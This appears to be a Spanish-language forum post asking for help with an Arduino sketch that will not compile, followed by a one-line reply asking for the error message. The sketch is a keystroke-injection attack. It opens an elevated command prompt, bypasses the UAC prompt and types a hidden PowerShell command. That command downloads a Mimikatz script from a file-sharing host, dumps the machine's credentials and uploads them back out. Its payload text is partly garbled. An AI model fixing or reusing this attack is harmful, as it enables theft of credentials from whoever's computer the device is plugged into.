no me compila el codigo marca error ayuda

#include "Keyboard.h"

void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}

/* Init function */
void setup()
{
// Begining the Keyboard stream
Keyboard.begin();

// Wait 500ms
delay(500);

delay(3000);

Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();

delay(500);

Keyboard.print("powershell Start/Process cmd /Verb runAs");

typeKey(KEY_RETURN);

delay(3000);

typeKey(KEY_LEFT_ARROW);
typeKey(KEY_RETURN);

delay(2000);
Keyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass /c @IEXNew/Obj
ect Net.WebClient(.DownloadString
-https>&&anonfile.com&gc75g184n3&mimikats.ps1?
txt-(<$o)Invoke/Mimikatz /DumpCreds<New/Object Net.WebClient(.UploadString-htt
ps>&&anonfile.com&kd7dgc8fnb&mimikats.php?txt-,$o(@^exit");aqui en exit me marca error en esta linea

typeKey(KEY_RETURN);

// Ending stream
Keyboard.end();
}

/* Unused endless loop */
void loop() {}

Post the error message.